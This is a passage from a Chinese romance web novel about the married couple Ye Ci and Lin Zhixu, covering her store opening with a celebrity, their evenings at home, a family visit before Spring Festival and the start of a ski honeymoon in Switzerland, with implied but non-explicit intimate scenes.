这有点出乎意料,不过他立即同意了,“好。” 蔺之序:“我需要怎么做?” 叶瓷环顾一圈,然后来到窗边的单人沙发旁,“坐在这里。” 蔺之序依言照做。 叶瓷握着触控笔,偏头打量他,蔺之序本身就是很标准的衣架子,仪态好,挺拔从容,无可挑剔。 不过对于练习动态素描来说,他的姿态太板正了,缺少了她入画所要的“呼吸感”。 叶瓷走近几步,指尖沿着他的衬衣肩线,缓缓滑着,“这里,稍微放松一下,卸掉三分力。” 蔺之序点头:“好。” 他调整得很精准,一点即通。 叶瓷满意退回,笔尖在平板屏幕上快速滑动,线条利落。 面部轮廓画好后,她的视线缓缓下移,落在他微敞的领口,然后又到腰腹部位。 蔺之序一向自律,身材管理也很严格,即使坐着,他的腹肌线条依旧分明。 叶瓷一边描摹着,不自觉地,笔速慢了半拍。 她太熟悉蔺之序的身体了,远不止眼前被熨帖布料包裹的完美比例。 她知道他背部肌肉的走向,感受过他温热的肌理,还有他用力拥抱自己时,肩胛骨会撑出锐利的轮廓。 叶瓷想起了昨晚的旖旎亲密,他的腹肌会在情|动时瞬间绷紧,硬得像铁,却又在下一刻,因为她的安|抚而变得异常柔软。 …… 叶瓷作画的速度明显不如刚开始,时间缓慢过去,就在她即将完成腹肌部分最后几笔勾勒时,一片阴影罩了下来。 蔺之序不知何时已起身走到了她面前。 “画好了吗?”他问。 叶瓷抬头,“等下,就要好了。” 蔺之序看她迟迟没有下笔,以为她已经画好了。 他刚结束工作,又维持了不短时间的固定姿势,这时,身体活动开,觉得舒展不少。 他在她旁边坐下,等着,数分钟后,叶瓷递给他看,“好了。” 蔺之序看时,叶瓷端起桌上的咖啡,啜了一口,“有肉桂粉吗?” 他指了指小吧台的方向,“在吊柜里,左起第二格。” 叶瓷找到后,打开罐子,将浅褐色粉末撒进杯里,银匙轻轻搅动。 她吹开浮沫,正喝着,这时,蔺之序从后面抱住了她,他的下巴贴在她颈窝,“老婆,我可以索要报酬吗?” 叶瓷一怔,很快反应过来,她想起住吊脚楼的那晚,他也是这样。 两次,完完整整。 蔺之序扳过她的身体,一边吻,一边问,“可以吗?” 叶瓷趁着换气间隙,“……就一次,多了,我就没办法下床了。” 以前都是在夜里,结束后,她还能睡觉休息,如果放到白天,又要让他尽兴的话,她可能真得要在床上待一整天了。 “好,就一次。” 第59章 第59章 贪恋她 京北国贸商场。 “江晏!江晏!啊啊啊看这边!” “老公!你好帅!” “宝宝今天穿得也太好看了叭!这身造型绝了!” 江晏熟练地挥手微笑, 偶尔停下配合媒体拍照,引得粉丝区尖叫连连。 一路互动,他来到红毯尽头。 叶瓷正站在那里, 一身珍珠白羊绒连衣裙, 外搭同色系长大衣, 气质出尘。 她看着走近的江晏,主动伸出手:“江晏, 欢迎。” 江晏与她握手,“恭喜开业!” 现场除了媒体, 江晏粉丝, 还有多名工作室特邀的名流圈贵宾。 两人同台站定,准备进行剪彩仪式。 台下的粉丝很激动, 忍不住扯着嗓子, “姐姐你好漂亮!出道吧, 和江晏拍部戏!” 这一句石破天惊,立刻引来一片附和笑声。 “设计师姐姐看看内娱!” “江晏, 快邀请姐姐客串你的新剧!” “姐姐好棒!设计的衣服也超好看!求你们多多合作。” 台上,江晏被粉丝的喊话逗乐,笑着转向叶瓷, 接过话头:“叶总,你看粉丝呼声这么高, 要不考虑一下?我给你递本子。” 叶瓷失笑摇头, 对着话筒,“谢谢大家这么热情的提议,不过我还是更习惯待在幕后。” 她声线清越温柔,粉丝激动,“哇~姐姐的声音都这么好听!” 叶瓷笑, “谢谢,今天的主角是江晏,还有我们‘风之语’的每一件衣服。大家喜欢江晏,也请多多支持他的代言哦。” 她三言两语,又将焦点拉回品牌和代言人身上。 “姐姐好飒!” “情商好高!爱了爱了!” 剪彩仪式在热闹喜感的氛围里顺利进行。 红绸断开,掌声和欢呼声再次响起。 叶瓷和江晏接受媒体拍照,台下粉丝的镜头也闪成一片。 与此同时 。 城郊一家会员制射箭馆内。 蔺之序和几位重要的客户刚谈完合作,其中一个客户做东,邀请大家来射箭。 蔺之序站在指定的赛道上,一身休闲装扮,姿态如松。 此刻,他正戴着手套,左手持一把反曲弓,右手搭箭扣弦,数秒,箭矢离弦。 接着稳稳扎进了靶心,尾羽微微颤动。 “好!” “蔺总真是厉害!” 这时,做东的梁总也尝试射箭,在一箭意外射中靶子边缘时,自己先笑了:“哎,歪得没边了,献丑了献丑了。” 蔺之序从箭壶里取出下一支箭,“刚开始都这样,多找找感觉就好了。” 几轮下来,蔺之序与梁总一同走向旁边的休息区。 休息区摆放着三张真皮沙发,中间是实木茶几。 蔺之序在其中一张单人沙发坐下,刚才专注拉弓时绷紧的背部肌肉放松少许。 梁总在他侧面的长沙发落座,笑着松了松领口:“蔺总好准头,我可是甘拜下风了。” 蔺之序:“梁总客气,运气好而已。” 一名工作人员适时走近,“蔺先生,梁先生,两位需要喝点什么吗?我们有现磨的手冲咖啡,各类茗茶,也有鲜榨果汁和进口矿泉水。” 梁总要了杯绿茶。 蔺之序抬眼,“矿泉水,谢谢。” 工作人员点头应下。 两人有一句没一句地聊着刚才的箭术,很快,工作人员端着托盘进来,“两位请慢用。” 梁总喝着绿茶,这时被其他人一邀请,就有些技痒。 他走后,蔺之序拿起瓶子喝水。 手机震动,“七号公馆”提示群聊新消息。 裴时:【@蔺之序,嫂子今天新店开业,你没去现场?】 蒋昀铮:【@裴时,你怎么知道五哥没去?】 裴时:【工作人员正在剪辑花絮视频,我看了一圈,没见五哥。】 裴家旗下有家影视公司,前段时间刚签了江晏。 蔺之序回复:【我没有去现场,今天和一个客户有重要合作要谈。】 叶瓷知道这天他没法陪自己,“没关系啊,你忙你的,我忙我的,就好了呀。” 蔺之序了解她的性子,她既然这么说,就表示她不会在这件事上和他计较。 司恒:【[摊手]两个工作狂的婚后日常。】 很快,裴时发进群里几张现场照片和官方的剪彩同台视频。 裴时:【场面很大,粉丝都快把国贸给掀了。】 梁屿培:【嫂子可以啊,这才多久,成衣品牌就做得风生水起,连顶流都请得动,这影响力,恭喜了啊。】 蔺之序点开视频,播放量正以惊人的速度突破百万,弹幕更是厚得几乎要遮住画面: 【豪门姐弟既视感拉满!!】 【江晏在姐姐面前好乖的样子!】 中间两分钟是叶瓷回应粉丝“出道拍戏”的建议,蔺之序看见弹幕上飘过评论: 【听见没?姐姐只想搞事业!磕颜就好别乱拉郎!】 【就是,这种并肩作战的姐弟感更好磕!】 视频结束,蔺之序的手指在屏幕上悬停片刻,然后点开了评论区。 热评第一条: 【谁懂啊!这种顶级颜值和顶级气场的姐弟组合!姐姐是清冷独立豪门大小姐,弟弟是阳光耀眼顶流巨星,站在一起就是‘我们都很优秀,我们是同一阵营’的爽文画面!】 回复楼中楼:【附议!姐姐那种‘看我弟弟多棒’的欣慰感,和弟弟‘有我姐在很安心’的乖巧感,绝了!】 热评第二:【求求了!有没有制片人看看这对姐弟!不需要感情线,就来个豪门商战剧,想看姐弟联手大杀四方!】 蔺之序没再往下翻,关闭群聊后,他看了眼时间。 然后起身走到相对安静的窗边,拨通了叶瓷的电话。 接通后,背景音里能隐约听到谈笑,紧接着,叶瓷的声音清晰传来,“老公。” 打这通电话之前的数秒时间里,蔺之序还在想着刚才弹幕上的那些词汇:“豪门姐弟”、“磕死了”。 直至听到叶瓷的那声“老公”,他才恍然,自己对她的独占欲,在婚后这些蜜里调油的日子里,已经变得如此强烈。 他敛起心神,“我这边已经结束了,你呢?” 叶瓷:“现在和团队,江晏,还有几个重要的合作伙伴一起去吃个饭。” 蔺之序:“好,你待会儿把地址给我,到时,我去接你。” 叶瓷笑,“好。” 庆功宴设在国贸附近。 叶瓷作为主人,自然要周到应酬,但她酒量浅,只以茶代酒,感谢大家的支持。 席间,有人开玩笑提起今天粉丝的喊话,江晏笑着看向叶瓷:“叶总,说真的,你要是想体验一下拍戏,我下次跟公司说说,找个本子,客串个设计师之类的角色,本色出演。” 叶瓷笑着摇头:“别开我玩笑了,我还是安分做我的设计。今天已经体验了一把当‘明星’的感觉,有点招架不住。” 晚餐进行到尾声,叶瓷看了眼手机,估摸着时间差不多了,她趁大家闲聊的功夫,给蔺之序发了消息。 叶瓷:【马上结束。】 蔺之序回复很快:【不急,我等你。】 叶瓷:【你已经到了?】 蔺之序:【嗯,你安心应酬。】 二十分钟后,一行人说说笑笑地走出包厢,来到餐厅的庭院门口。 夜晚寒气重,叶瓷抬手拢了拢大衣衣领。 就在这时,一辆黑色库里南缓缓滑停到门前,车身光洁如镜,在门口灯光下泛着低调的暗芒。 有人扫过那车牌号码时,眼神微动。 车门打开,蔺之序迈步下车,一身深色西装,外面罩着同色系的羊绒大衣,没系围巾,露出挺括的衬衣领口。 他身形挺拔,站在车旁,眼睛直接落到叶瓷身上。 “蔺总。” 江晏率先反应过来,他对蔺之序早有耳闻,在财经版面见过他的照片,不过,今晚还是第一次见到他本人。 气场沉稳,只是站在那儿,就带着不容忽视的分量。 蔺之序颔首,算是打了招呼。 旁边一位品牌合作方的负责人笑着开口:“蔺总是来接叶总监的吧?好贴心。” 有人跟着附和,“蔺总和叶小姐真是恩爱,这么晚了还特意过来接。” 蔺之序笑:“应该的,她这几天辛苦了。” 这时,叶瓷笑着和各位告别,“谢谢大家今天的支持,都辛苦了,时间不早了,我们都早点回去休息吧。后续工作,我们明天再沟通。” 众人纷纷笑着道别。 “叶总监再见。” “蔺总慢走。” 车内温暖,叶瓷靠在座椅里,终于彻底放松下来。 等信号灯时,蔺之序单手握着方向盘,另一只手伸过来,轻轻覆在她手背上。 蔺之序:“累坏了吧?” “嗯。” 叶瓷闭上眼,轻轻应了一声,“但很开心。” 蔺之序笑,“那就好。” 他捏了捏她的手指,“你先睡会儿,到家叫你。” 叶瓷却没睡,她偏过头看他开车的侧脸,“今天怎么没让司机来?” 蔺之序:“我下午忙过之后也没什么事。” 叶瓷笑,“你几点到的?在外面等了我多久?” 蔺之序:“没有多久。” 他没看时间,等她的时候,他坐在车里处理工作,应该有一个多小时。 叶瓷略一歪头,眼睛看着他,“老公辛苦了。” 蔺之序笑了声,刚好又到路口等信号灯,他拉住叶瓷的手,低头在她手背上啄了一下。 随后两人相视一笑。 车外光影流转,叶瓷在座椅里靠了会儿,然后又转头看他,“蔺之序。” 她唤他名字。 蔺之序笑笑,“怎么了?” 叶瓷:“刚才的庆功宴上,我没吃好,现在肚子有点儿饿。” 蔺之序:“想吃什么?” 叶瓷想了想,“避风塘炒蟹,还有带子酿百花。” 蔺之序点点头:“去御膳轩,可以吗?” 叶瓷嗯一声,“好。” 蔺之序笑,“我们这就去。” —— 车子还未停稳,御膳轩的陈经理已整理好西装领带,快步迎下台阶。 “蔺总,叶小姐,晚上好,两位的位置已经准备好了。” 蔺之序:“有劳陈经理了。” 陈经理笑,“蔺总客气了。” 说着,他侧身引路。 两人落座,叶瓷开始点餐,因为有目标,她很快就点好了,这时,她问蔺之序,“你呢?我帮你点?” 蔺之序:“我不用。” 去接她之前,他已经用过晚餐了。 叶瓷将平板递还给服务生,“谢谢。” 蔺之序:“先来一杯蜂蜜柚子茶,要温的。” 服务生微笑,“好的,蔺总。” 服务生刚带上门,蔺之序放在桌上的手机嗡动了一下。 他的手机经常处于静音状态,对绝大多数人都是消息免打扰。能这样直接弹出提示的,除了家人,偶尔会炸锅的发小群,还有唯一的置顶——叶瓷。 消息是念一发来的,一连几条,都是视频。 蔺之序点开第一个。 热闹的背景音夹杂着粉丝激动的尖叫,镜头很稳,焦点始终在叶瓷身上。 念一:【嫂子美美美】 对面,叶瓷也已经听出来了,她笑,“念一发的?” 今天开幕仪式上,蔺念一和叶溦全程都在,后来的庆功宴,两人和叶瓷道了再见,就逛街去了。 蔺之序,“嗯,念一发来的。” 视频都不长,蔺之序看了一遍,最后得出结论,“老婆很漂亮,又好能干。” 叶瓷笑,坦然接受他的夸奖。 刚好服务生进来了,叶瓷拿起那杯蜂蜜柚子茶,小口喝着。 对面,蔺之序手执公筷,夹起一块蟹钳肉放入她面前的碟里,接着又适时地添上一颗饱满的带子酿百花。 叶瓷全程几乎不用自己动手,他的动作不疾不徐,始终留意着她的进度。 蔺之序看着她,“明天还要去工作室吗?用不用休息几天?” 叶瓷:“还有些后续事情要处理,不过,不会像前阵子那么忙了。” 蔺之序点点头,“嗯。” 又过了几分钟,蔺之序发现她慢了下来,他知道她胃口一直都不大,“已经饱了吗?” 叶瓷点点头,“八分饱了。” 虽然都是自己爱吃的菜,但已经晚上九点多了,她不敢吃太饱。 见她放下筷子,蔺之序盛了小半碗汤推过来:“喝点儿热的。” 叶瓷笑:“好。” 四十分钟后,车子在婚房的地下车库停稳。 叶瓷解开安全带下车,夜间的地下车库带着凉意,她刚拢了拢大衣,就听见蔺之序说:“等一下。” 说着,他绕到车后,很快,后备箱无声掀起。 当他再次转过身时,叶瓷看到了他手中的玫瑰花束,暖杏与淡粉交织,花瓣层层绽放。 “开业顺利,庆祝一下。”蔺之序将花递到她面前。 叶瓷笑着接过,“什么时候准备的?” 蔺之序顺手拉住她,“在车里等你的时候,让花店送来的。” 叶瓷抱着花,沉甸甸的花束,香气清雅,“谢谢老公。” 蔺之序笑,相扣的手指又紧了紧。 两人一起往电梯间走,叶瓷想起他第一次送她花的那个午后,于是笑道,“你第一次送我的也是朱丽叶玫瑰。” 那天,叶溦来工作室找自己,无意间翻出了蔺之序的资料,叶瓷想起他说的话,不忙的时候可以联系他。 蔺之序没想到她还记得,他自己对花并不了解,毕竟是第一次送花。 “你时隔很久主动联系我。”蔺之序想着这些事情,笑了下。 “我觉得女孩子应该会喜欢花,所以就让潘助理去订了一束。” “后来潘助理拍了照片发给我,说这个是朱丽叶玫瑰,我才知道名字。” 叶瓷也笑,蔺之序垂眸看她。 和那天一样,人比花娇。 回到家里,叶瓷脱下大衣,“我去泡个澡。” 数天忙碌,此刻,她只想彻底放松一下。 这时,蔺之序也已经挂好了衣服,“需要我帮忙吗?” 叶瓷:“不用,” 蔺之序:“好,我去书房打个电话。” 叶瓷:“嗯。” 浴缸临窗而设,叶瓷放了热水,滴了几滴助眠的薰衣草精油,她闭上眼睛,感受水缓缓漫上来,紧绷的肌肉一点点松弛。 正泡着澡,一旁的手机响了,叶瓷瞥了一眼屏幕。 接通电话,“妈。” 温翎的第一句是,“线下门店开业成功,女儿好棒!” 被夸,叶瓷笑了下,在此之前,她并没有跟温翎说具体的开业时间,“是哥哥告诉你的吗?” 温翎:“嗯,前几天和北庭打电话,他告诉我的。” 叶瓷点点头,这时温翎又笑,“数据我看到了,首日销售额比预期高出百分之三十七,这是好的开始。” 两人又聊了几句门店经营的事情,接着,温翎话题一转,“下个月米兰时装周,我们集团在那边有个重要的合作要签,我会过去。你要不要一起?我们见个面。” 叶瓷算了算时间,距离米兰时装周还有一个多月。 叶瓷:“好。” 温翎笑,“不早了,你今天累了一天,早点休息。” 叶瓷:“知道了,妈也注意身体。” 挂了电话,叶瓷将手机放回,不知过了多久,叩门声响起。 蔺之序:“叶瓷?” 叶瓷手里拿着精油瓶,正打算再加点,“嗯?怎么了?” 蔺之序:“你进去很久了。” 叶瓷腾出一只手看时间,是有点久了。 “嗯,这就好。” 一边应着,她放回精油瓶,结果因为手心湿滑,瓶子没拿稳,“啪”的一声掉到了大理石地面上,浓郁的薰衣草香瞬间弥漫。 蔺之序的声音也紧张起来:“怎么了?” “没事,”她连忙应道,“东西掉地上了。” 门外沉默了一下,“我可以进来吗?” 叶瓷下意识地将身体往泡沫里沉了沉,只露出肩膀和锁骨。 犹豫不过数秒,“……可以。” 门被轻轻推开。 蔺之序走了进来。 他的目光第一时间落在叶瓷脸上,确认她无恙后,才又扫了眼地上滚落的精油瓶,然后缓步走近。 蔺之序收拾过地面,人又来到浴缸旁,浴缸很大,叶瓷蜷在中心,乌黑长发湿漉漉地贴在颈侧,热气模糊了她的眉眼,平添几分柔媚。 叶瓷被他看得有些不自在,微微动了一下,带起些许水声。 这细小的动静打破了某种凝滞。 她轻声道:“我泡好了。” 蔺之序闻言,俯身,伸手探入水中,精准地找到了嵌入式浴缸的排水按钮,轻轻按下。 水位缓缓下降,叶瓷正准备扶着边缘站起身,去旁边的独立淋浴间冲掉身上的沐浴露泡沫。 “我来吧。”蔺之序先她一步拿过固定在墙上的手持花洒。 接着是调试水温,很快,温热水流在他掌心溅开细密水花。 蔺之序扶住她的手臂,“别动,我帮你。” 水流落在她的肩头、背脊,冲走绵密的泡沫。 他的动作算不上熟练,甚至带着点小心翼翼的笨拙。 叶瓷起初身体还有些僵硬,但在他的动作下,她的身体渐渐放松下来。 泡沫被彻底冲洗干净,她全身的肌肤泛着被热气蒸腾的粉润。 蔺之序关掉花洒,拿起一旁的浴巾,展开,将她整个包裹住,然后稍一用力,叶瓷就被稳稳地抱了出来。 “把我放梳妆凳上。”叶瓷在他怀里说。 蔺之序知道她要吹头发,“嗯。” 吹风机是叶瓷惯用的牌子,连出差她都会带只专用的旅行装。 搬来婚房时,蔺之序按她的习惯,在主卧和客卧都备好了同款。 蔺之序:“我来吧。” 叶瓷笑了下,“好。” 当蔺之序拿起吹风机时,叶瓷松开了握着毛巾的手,她向后靠了靠,给自己找了个更舒服的姿势。 她的头发又细又软,握在手里很舒服。 蔺之序仔细地拨弄着发丝,想起刚才在浴室帮她冲水时,她也是这么乖顺地站着。 头发吹干,叶瓷笑,“谢谢老公全程为我服务。” 镜中映出两人的身影,渐渐,叶瓷感到环在她腰间的手臂紧了紧。 下一秒,天旋地转。 蔺之序已经俯身,一手穿过她的膝弯,轻而易举地将她抱起。 “老婆,接下来还有一项服务,我会细心周到,让你快乐。” 叶瓷的脸倏地热了。 她身上混合着体香、沐浴露和精油的气息,无声无息地像一张网,带着致命的吸引力。 叶瓷感受他的重量,意乱情迷间,她唤他的名字,蔺之序垂眸看她,“怎么了?” 叶瓷稳稳呼吸,“就一次,好吗?” 她想起上次在蔺家老宅留宿,他起初说好只一次,她也信了他,最后被他又哄又诱,折腾到下午,一直到晚上,她都腰酸腿软,没能下床。 蔺之序吻在她耳边,“好,那次是意外,今天不骗你。” 深夜。 蔺之序下床去倒了杯温水回来,侧坐在床边,将她抱起来。 “喝点水。” 叶瓷就着他的手,啜了几口,干渴的喉咙得到了舒缓。 这时,她抬起泛红眼眸,沙哑控诉:“骗子……” 蔺之序接过空杯子放好,伸手将她脸颊边被汗水濡湿的发丝拨到耳后,语气宠溺:“嗯,我的错。” 其实,蔺之序也没有骗她,是完整的一次。 只是他在他宠爱的地方耗时太久太久,让她几乎承受不住。 叶瓷重新躺下后,蔺之序去浴室拧了热毛巾回来,动作轻柔地帮她擦拭。 叶瓷闭着眼,昏昏欲睡。 等蔺之序简单收拾了一下自己回来时,发现叶瓷已经歪在枕头里睡着了。 他站在床边看了她片刻,然后掀开另一侧的被子躺下,将她揽入怀中。 第60章 第60章 失控 临近春节, 接连数日的阴雪天气终于放晴,气温也开始回暖。 这天,叶瓷和蔺之序一起回蔺宅吃饭。 庭院里的积雪已被清扫至小径两旁, 露出干净地面。 黑色库里南驶入院落车库时, 汤静娴正站在院子中央, 指挥着季叔往廊檐下挂红灯笼。 看到两人过来,她笑着招手, “小瓷,之序, 快来帮妈看看, 这灯笼挂得周不周正?” 叶瓷仔细端详后,笑道, “周正。” 这时, 汤静娴又笑, “你们今天来得正好,前几天, 我托一位老教授写了一批春联和福字,给你们婚房也备了一份,回去记得贴上, 添添喜气。” 叶瓷:“谢谢妈。” 临近年关,工作室的女孩子们都在兴致勃勃地挑选新年装饰小物, 遇见不错的, 也会将链接分享给叶瓷。 所以,她也断断续续在网上买了不少挂饰和摆件,算算时间,今天应该就能送到。 汤静娴挽住叶瓷的手,“线下门店一开业, 你最近也忙坏了吧?” 叶瓷笑,点了点头,“还好,就是在管理和经营上,有点耗神。” 汤静娴关切:“事业重要,但身体更要紧。” 这时,她转向一旁的蔺之序,“你得多照顾着点小瓷,别让她太劳累。” 蔺之序:“嗯,我知道。” 午饭安排在小花厅,汤静娴亲自下厨煲了拿手的姬松茸炖老鸡汤。 汤静娴:“小瓷,今年除夕祭祖的流程我让季管家整理好了,晚点发给你看看。” “你第一次以蔺家媳妇的身份参加,有些细节要提前熟悉一下。” 叶瓷认真点头:“好的妈,我会仔细看的。听说今年轮到大伯家主持年夜饭?” “是啊,”汤静娴笑,“你大伯母昨天还打电话来,说特意请了澳岛永利宫的主厨来做几道拿手菜。他们家老三今年带了未婚妻回来,到时候介绍你们认识。” 叶瓷:“好。” 汤静娴又说,“过年期间几个家族轮流办酒会,之序你尽量都去坐坐,人情往来,不能嫌麻烦。” “小瓷就自由随意些,”汤静娴知道她不喜应酬的性子,怕她勉强自己,“想去的话,就和之序一起,不想参加的话就不去,没人计较。” 叶瓷笑,“嗯。” 饭后,叶瓷和蔺之序在院子里散步。 “工作室年会都安排好了吗?”蔺之序问她。 他今天穿了件深色高领羊绒衫,外搭一件黑色长大衣,比平日一丝不苟的西装多了几分随性。 叶瓷将手放入他大衣口袋里,她打理自己的工作室,虽然规模远不及盛域集团,但在管理和用人上也同样秉持着优渥的原则。 “嗯,流程和场地都确认了。年终奖也按你之前建议的,整体比去年上调了百分之十五。” 蔺之序:“应该的,大家辛苦一年。” 走了一段路,穿过一个月洞门,眼前是一片更为开阔的园景。 叶瓷放缓脚步,“马上要放年假了,你有什么特别的安排吗?” 蔺之序步子放慢迁就她,“暂时没有具体计划。”说过,他看她,“你呢?有什么想法?” 叶瓷笑,“我们还缺一个蜜月,我想,正好趁这次年假,一起出去放松一下,怎么样?” 蔺之序闻言,停下来,转过身正对着她,“想去哪里?” 叶瓷笑,“还没想出来,不过,我又不想动脑子,所以,你来定就好。” 蔺之序低低地笑了声,“好,让我想想。” 老宅院落大,即便穿着平底短靴,一大圈走下来,叶瓷也觉脚踝有些发酸。 前方不远处,有一座小亭子,叶瓷指了指,“我们去那边坐坐吧。” 蔺之序:“好。” 亭子建在几级石阶上,视野开阔,能将大半庭院景色收入眼底。 两人在石凳上坐下,蔺之序:“我们去滑雪怎么样?” 他刚一说出,叶瓷转脸看他,原来他一直在思考这件事。 叶瓷笑,“我以为你说的想想,是过个两三天,或者什么时候有空了再计划。” 蔺之序:“没,你说过之后,我就在想了。” “怎么样?滑雪可以吗?”他问,“不行的话,我们再换一个。” 叶瓷这时也开始认真想这件事了,当初在英国留学时,她隔三差五就会去阿尔卑斯山区滑雪,水平还说得过去。 滑雪的话,既有活动量,又能享受二人世界,还不像纯粹观光那样奔波。 叶瓷点头,“好啊,那我们就去滑雪。” 蔺之序是行动派,见她同意,便直接从大衣内袋取出手机,找到一个号码拨了出去,他联系的是瑞士·圣莫里茨的私人管家。 交代了下周抵达的行程,让对方提前收拾好科尔维利亚区的豪宅。 收了电话,蔺之序转身,就看见叶瓷正神情放松地晒太阳,长发染上了浅金色,像一只惬意的猫。 他走过去,抚抚她的头,叶瓷缓缓睁开眼,仰头冲他笑了下,“安排好了?” 蔺之序:“嗯。” 说着,他在她旁边坐下。 傍晚,两人回到婚房。 保姆已经将快递箱放在了玄关处,叶瓷一一拆开,正是她前几天买的新年装饰品。 除了如意平安结和几个小摆件,还有一套釉里红瓷质小葫芦。 叶瓷笑,“正好,我们一起来布置一下。” 她抱着这些充满年味的小物件走进客厅。 蔺之序脱下大衣,一边不紧不慢地挽起羊绒衫袖口,一边走过来。 他身高腿长,负责贴高处的春联和挂饰,叶瓷在下面仰头看着,偶尔出声指挥:“左边再高一点……嗯,好了,正好。” “这一对放进书房。” “这个挂在卧室落地窗上,……再稍微低一些。 “嗯,好了,老公真棒!” 他们居住的顶层开阔通透,极简装修风格。 此刻,贴上手写的大红洒金春联,剪纸窗花,再挂上几个丝绒平安结,原本略显清冷的空间立时填满了节日氛围。 两人忙了差不多一个多小时,还剩一个平安结,叶瓷拿在手里,思考着把它挂在客厅哪一处绿植上更别致。 蔺之序将她指名的摆件放进书房,出来时,就看见叶瓷手里拿着丝绒质地的平安结站在那儿。 她穿着浅米色羊绒连衣裙,肩背线条柔美,长发挽起松松的丸子,几缕垂落在颈边,衬得脖颈白皙修长。 蔺之序下意识地拿出手机,镜头无声,他抓拍了一张。 这是他发的第二条朋友圈。 上一条,还是数月前,叶瓷在巴黎高定时装周的个人展大获成功时,他发的一张她谢幕的照片,配文只有简单的:【陪老婆工作】 而今天,他发的正是刚才抓拍的那张照片,配文同样简单:【和老婆一起贴对联】 这条动态发布后,不过几分钟,点赞评论的数量迅速攀升。 沉寂数天的“七号公馆”因为蔺之序又热闹起来。 蒋昀铮先跳出来:【五哥只发过两次朋友圈,两次都和老婆有关,五哥他超爱啊!】 裴时:【@蔺之序这浓浓的居家好男人画风和我们认识的蔺总是同一个人吗?】 司恒:【兄弟们,见证历史了。】 梁屿培:【@所有人今晚九点老地方,三缺一,速来救场!】 裴时:【我刚从港城飞回来,还没休息呢就被你们抓壮丁[委屈唧唧]】 蒋昀铮:【@裴时,少来,你在私人飞机上睡不够?赶紧的。】 司恒:【@蔺之序弱弱问一句居家好男人,你还来吗?】 蔺之序在屏幕上轻点,【不去了,你们玩。】 裴时:【[点烟跷腿]我就说吧。】 梁屿培调侃:【@蔺之序五哥,真不来啊?你这婚后生活也太规律了吧?这才几点就门禁了?】 蒋昀铮:【工作狂回心转意,果然,爱情的力量好可怕。】 司恒:【对了,年假马上开始了,大家今年计划去哪儿玩?就等你们敲定时间了,我随时可以。】 蔺之序看着群里的消息,【今年有约了,我和叶瓷一起去滑雪。】 群里静默了一瞬。 蒋昀铮:【[吐血] 重色轻友的男人,赤裸裸的背叛】 裴时:【[痛心疾首] 说好一起单身到老,哦不对,你怎么就先上岸了还撒狗粮!】 司恒建议:【兄弟们,要不咱们投票把五哥叉出群聊吧?他已经不配待在我们这个单位了。】 蔺之序笑:【你们这群单身狗不会懂的。】 蒋昀铮:【?】 裴时:【??】 司恒:【???】 梁屿培:【????伤害性不大侮辱性极强】 蔺之序看一眼叶瓷,她正小心地踩在一个矮脚凳上,踮着脚,试着将那个平安结挂到幸福树的枝桠上。 蔺之序:【不说了,我要帮老婆挂平安结了】 众人:【……】 蔺之序放下手机,走过去,单手环上她的腰,稳住了她,然后接过她手中那个始终差一点挂上去的平安结,伸手,轻松地将它挂在了她心仪的位置上。 —— 瑞士的冬天,雪是常态。 行了数段盘山公路后,黑色奔驰拐进一条私人车道,入口只有一个简单的路牌和电子门禁系统。 路面刚清过雪,露出湿润的黑色沥青。 “到了。” 蔺之序说。 叶瓷看向窗外,这里不像山下小镇那样热闹,山腰处零星分布着几座独栋建筑,可以俯瞰整个恩加丁山谷。 门廊的灯已经亮起,管家罗伯特正等候在廊下,他在这处房产服务了十二年,从蔺之序大学时期开始打理这里的一切。 车子停稳后,罗伯特上前,“蔺先生,蔺太太,一路辛苦了。” 他的英语带着一点儿德语口音,蔺之序向他颔首,“罗伯特。” 罗伯特微微躬身,这时他又看向站在一旁的叶瓷,笑容恭敬,“蔺太太,欢迎您,您的雪具和行李我们会妥善安置。” 叶瓷礼貌道谢。 罗伯特熟练地指挥工作人员搬运物品,一边陪同二人往室内走,“蔺先生,雪具已保养过,天气预报显示未来三天都是晴天,非常适合滑雪。” “辛苦了。”蔺之序点头。 玄关宽敞,地面是持续供暖的浅灰色石板,右手边是一整排嵌入墙体的雪松木储物柜。柜门内部有隔层与挂架,是专门用来存放外出衣物和雪具的。 左手边是一个换鞋长凳,旁边已经摆放好了两双室内拖鞋。 来到客厅,罗伯特问:“蔺先生,明天的早餐几点送来?” 蔺之序想了想,“等我电话吧。” 罗伯特点头,适时退出,“明白,祝您和太太夜晚愉快。” 片刻,整栋建筑安静下来。 叶瓷打开行李箱,从整齐叠放的衣物中选了一套白色真丝睡衣,然后走进主卧浴室。 温热水流冲散了长途飞行的疲惫,二十分钟后,她换上睡衣,用毛巾擦拭着半干的头发走出来时,发现蔺之序不在卧室。 她又来到客厅。 蔺之序正站在落地窗前打电话,他已经洗漱过,人也换上了深蓝色的睡衣。 窗外夜色浓稠,院子里的地灯已经亮起,在覆满新雪的云杉树下圈出一团团暖光。 蔺之序手机贴在耳边,大部分时间在听,偶尔应一两声,丝质面料随着他偶尔变换重心的动作,在腰背处泛起如水纹路。 叶瓷没有打扰他,她走到壁炉前的沙发上坐下。 沙发是典型的北欧设计,低矮,宽深,上面放着几个靠枕。 叶瓷屈膝,整个人陷进柔软的布料里,接着,她伸手,捞了个靠枕抱进怀里。 壁炉里,松木和桦木正在燃烧,火焰跳跃。 叶瓷安静地看着炉火,木柴燃烧时偶尔发出细碎的噼啪声,和蔺之序低沉的通话声构成了舒缓的白噪音。 叶瓷环顾四周,墙面是纯净的白色,除了必要的家具,几乎没有多余的赘饰。 巨大的落地窗是焦点,像一个画框,将室外的雪山夜景完全纳入室内。 又过了一会儿,蔺之序结束通话,转过身。 “忙完了?”叶瓷抬头。 “嗯。” 蔺之序将手机放在一旁的边几上,坐下后,他很自然地将手臂搭在她身后的沙发背上,形成一个松散的环抱,“在想什么呢?” 他收了电话回来时,就看见她安静地搂着靠枕,下巴轻轻抵在上面。 叶瓷笑了下,“没想什么。” 说着,她朝他偎过去,几乎是同时,蔺之序就将人揽进了怀里。 这时,叶瓷在他怀里仰起脸,“你知道我现在想干什么吗?” 蔺之序想了想,笑道,“不知道。” 叶瓷仍看着他,“我想看电影,而且就像这样靠在你怀里看。” 蔺之序垂眸,笑了句,“这个可以实现。” 叶瓷选了一部温情片。 点击播放后,蔺之序来到她身边坐下,很自然地抬起手臂。 叶瓷顺势靠进去,找了个舒服的姿势,把薄毯分了一半盖在他腿上。 正片开始,熟悉的片头旋律响起。 蔺之序:“以前看过?” 叶瓷笑,“嗯,看了三遍不止。” 蔺之序也笑,他的手有一下没一下地抚在她的手臂。 